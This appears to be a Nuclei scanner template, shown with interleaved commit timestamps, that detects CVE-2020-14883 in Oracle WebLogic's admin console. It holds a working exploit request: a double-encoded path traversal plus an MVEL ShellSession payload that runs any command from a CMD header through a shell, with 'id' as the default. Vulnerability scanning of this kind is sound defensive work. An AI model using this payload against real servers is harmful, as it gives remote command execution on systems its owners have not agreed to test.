2021-03-21 08:03:59 +00:00
id : CVE-2020-14883
info :
2022-04-21 21:16:41 +00:00
name : Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
2021-03-21 08:03:59 +00:00
author : pdteam
2021-09-10 11:26:40 +00:00
severity : high
2022-05-17 09:18:12 +00:00
description : The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
2022-04-07 13:53:15 +00:00
reference :
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
2022-05-17 09:18:12 +00:00
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.2
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-14883
2022-04-07 13:53:15 +00:00
tags : cve,cve2020,oracle,rce,weblogic
2021-03-21 08:03:59 +00:00
requests :
2022-04-09 14:52:22 +00:00
- raw :
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host : {{Hostname}}
Accept-Language : en
CMD : {{cmd}}
Content-Type : application/x-www-form-urlencoded
Accept-Encoding : gzip, deflate
2021-03-21 10:09:34 +00:00
2022-04-09 14:52:22 +00:00
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
payloads :
cmd :
- id
2021-03-21 08:03:59 +00:00
matchers-condition : and
matchers :
2022-04-09 14:52:22 +00:00
- type : word
part : header
words :
- "ADMINCONSOLESESSION"
2021-03-21 08:03:59 +00:00
2022-04-09 14:52:22 +00:00
- type : word
part : body
words :
- 'uid='
- 'gid='
- 'groups='
2021-03-21 08:03:59 +00:00
condition : and
- type : status
status :
- 200
2022-04-07 13:53:15 +00:00
2022-04-09 14:52:22 +00:00
extractors :
- type : regex
regex :
- "(u|g)id=.*"
2022-04-21 21:16:41 +00:00
# Enhanced by mp on 2022/04/20